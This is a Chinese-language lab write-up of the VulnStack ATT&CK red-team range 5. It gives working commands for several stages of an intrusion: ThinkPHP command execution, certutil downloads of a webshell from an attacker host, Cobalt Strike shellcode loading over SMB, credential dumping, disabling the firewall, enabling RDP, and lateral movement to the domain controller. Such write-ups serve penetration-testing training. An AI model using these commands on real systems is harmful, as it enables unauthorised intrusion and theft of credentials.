ATK&CK红队评估实战靶场(五)

前言

靶机详细信息

1
http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

环境搭建

靶机密码

1
2
3
4
5
6
win7
sun\heart 123.com
sun\Administrator dc123.com (后期更改为qwe)

2008
sun\admin 2020.com

拓扑图

image-20230102132959243

首先添加一张VMnet2的网卡,子网设置为192.168.138.0,IP范围为5-254

image-20230101120501622

将该网卡应用于win7win2008两台虚拟机,再将win7的第一张网卡设置为NAT一定是要第一张网卡设置为NAT

image-20230101120943548

登入到win7中,将wk1 waiwang网卡设置为自动获得IP地址。

image-20230101121333285

在C盘根目录,再将phpStudy启动

image-20230101121519107

各个虚拟机IP

Kali

image-20230101121822325

cobalt strike 服务器 在Kali中开启

Win7

image-20230102132810601

Windows 2008

image-20230101121957630

攻入内网

主机发现

1
nmap -sn 172.20.10.1/24

如果目标靶机开了防火墙,但又没开启http等服务,使用nmap是无法发现目标靶机的。

但是可以使用kali自带的 netdiscover工具进行发现。

1
sudo netdiscover -i eth0 -r 172.20.10.0/24
image-20230102103455984

这里扫到了 172.20.10.7

端口扫描

1
sudo nmap -sS -Pn -sV -v -p 1-65535 172.20.10.7
image-20230102104329017

开放了801353306端口,通过扫描结果可得知可能是一个php的站点。

ThinkPhP 的站点

image-20230102204735082

报个错,得到版本5.0.22

目录扫描

1
python3 .\dirsearch.py -u "http://172.20.10.7/"
image-20230102104309917

后门webshell爆破(失败)

发现add.php为一个webshell页面

image-20230102104812119

Burp爆破一下

image-20230102105055974

并没有爆破出来。

ThinkPhP框架漏洞利用

使用工具检测ThinkPhP自带的框架漏洞。

image-20230102105323817

找一个可以执行命令的漏洞

image-20230102110846563

已经可以执行命令了,但是仅仅只是执行命令并不能满足我们拿下内网的所有需求,这里我们将通过执行命令的方式来下载一个冰蝎的shell,然后用冰蝎的客户端来管理该webshell。

我已经将冰蝎上传到Kali中,接下来用python在冰蝎的server目录下开启http服务。

1
python3 -m http.server
image-20230102112638624

执行windows下远程下载文件命令

1
certutil -urlcache -split -f http://172.20.10.129:8000/shell.php shell.php
image-20230102133248731

冰蝎客户端连接

image-20230102150729773

以上这种方式,如果是在有杀软的情况下,远程下载文件很容易被杀软拦截,接下来介绍一种更安全的方式,使用shellcode加载器来加载恶意代码来进行CS上线。

在实战中更安全的方式

首先下载一个shellcode加载器

1
https://github.com/clinicallyinane/shellcode_launcher

解压后,上传至kali中

image-20230103100357123

然后,在CS中创建一个监听

image-20230103100005322

生成一个Raw类型的二进制文件

image-20230103100154611

将生成的payload.bin 拷贝至Kali中和shellcode加载器放置同一目录下。

image-20230103100422622

接下来在kali中的shellcode加载器目录下启动一个smb服务

1
sudo impacket-smbserver -smb2support test $(pwd)
image-20230103100747907

检测smb服务是否正常

1
net view \\172.20.10.129
image-20230103101023021

查看smb中共享的文件

1
dir \\172.20.10.129\test
image-20230103101136889

通过xcopypayload.binshellcode_launcher.exe拷贝至靶机中

1
2
xcopy \\172.20.10.129\test\payload.bin
xcopy \\172.20.10.129\test\shellcode_launcher.exe
image-20230103101348646

在ThinkPHP工具中调用shellcode加载器加载shellcode

1
shellcode_launcher.exe -i payload.bin
image-20230103102141747
image-20230103102209757

CS中也成功上线。

权限维持

之前都是用MSF来管理shell,这次我们通过CS来管理shell,学习一下CS的使用。

首先在CS中创建一个监听

image-20230102151900290

生成 powershell Command

image-20230102152251894
image-20230102152321149

最后得到一串字符

image-20230102152405144

将该字符串拷贝到冰蝎客户端中执行

image-20230102152525950

CS也成功上线

提权

image-20230102152629285

等待一会儿后

image-20230102152728290

成功提到system权限。

主机信息收集

查看网卡信息

1
shell ipconfig /all
image-20230102153427627

发现域名sun.com和内网网段192.168.138.136

对域名做DNS解析

1
shell nslookup sun.com
image-20230102153609992

192.168.138.138 主机是域控

查看系统详细信息

1
shell  systeminfo
image-20230102154252009

查看域内所有用户列表

1
shell net group /domain
image-20230102153757184

查看域成员计算机列表

1
shell net group "domain computers" /domain
image-20230102153832916

查看域管理员用户

1
shell net group "domain admins" /domain
image-20230102153851903

抓取登录口令

image-20230102170928862
image-20230102153122600
1
2
3
4
5
6
7
8
(域管理员用户的账号密码)
* Username : Administrator
* Domain : SUN
* Password : qwe123@

* Username : leo
* Domain : SUN
* Password : 123.com

开启远程桌面服务

1
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙

1
shell netsh advfirewall set allprofiles state off
image-20230102154510035

mstsc连接

使用sun\Administratordc123.com进行登录

image-20230102154934122

接下来,上传fscan,对内网主机进行扫描

image-20230102155051378
image-20230102155222964
1
shell c:/fscan32.exe -h 192.168.138.1/24
image-20230102155422213
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(icmp) Target 192.168.138.136 is alive
(icmp) Target 192.168.138.138 is alive
[*] Icmp alive hosts len is: 2
192.168.138.138:139 open
192.168.138.136:139 open
192.168.138.138:88 open
192.168.138.136:3306 open
192.168.138.138:445 open
192.168.138.136:445 open
192.168.138.138:135 open
192.168.138.136:135 open
192.168.138.136:80 open
[*] alive ports len is: 9
start vulscan
[+] 192.168.138.136 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] NetInfo:
[*]192.168.138.136
[->]win7
[->]192.168.138.136
[->]172.20.10.7
[+] 192.168.138.138 MS17-010 (Windows Server 2008 HPC Edition 7600)
[*] NetBios: 192.168.138.138 [+]DC DC.sun.com Windows Server 2008 HPC Edition 7600
[*] NetInfo:
[*]192.168.138.138
[->]DC
[->]192.168.138.138
[*] WebTitle: http://192.168.138.136 code:200 len:931 title:None

从扫描结果中,可以发现就两台主机,一台本机,一台域控,域控的IP为192.168.138.138,操作系统为Windows Server 2008 HPC Edition 7600,并且存在MS17-10漏洞。

内网渗透:域控服务器

在对win7靶机进行信息收集的时候,我们抓取到了域控的账号密码。

接下来,使用CS自带的psexec64进行横向移动上线。

首先,创建一个监听

image-20230102173413349

然后,点击这个靶心,看域控的IP是否存在。

image-20230102172243579

不存在,先进行端口扫描

image-20230102172408044

再次点击这个靶心就会出现

image-20230102172741985

接下来

image-20230102172802783

选中域控的IP,然后右键。

image-20230102172908565
image-20230102173018586

成功上线

使用CS没有那么繁琐的步骤,上线还是较为简单。

其他方法的尝试

通过wmiexec.py(需要通过frp开启一个代理)

1
proxychains4 python3 wmiexec.py "administrator:qwe123@@192.168.138.138"
image-20230102180135453

可以执行命令

使用MSF直接对域控的MS17-010进行利用

image-20230102180249706

一直失败。

知识点汇总

windows下远程下载文件命令

1
certutil -urlcache -split -f http://172.20.10.129:8000/shell.php shell.php

Kali中启动一个SMB服务

1
sudo impacket-smbserver -smb2support test $(pwd)

参考文章

https://blog.csdn.net/weixin_45682839/article/details/124512995

记一次在VulnStackATT&CK5靶场中使用CobaltStrike的渗透之旅.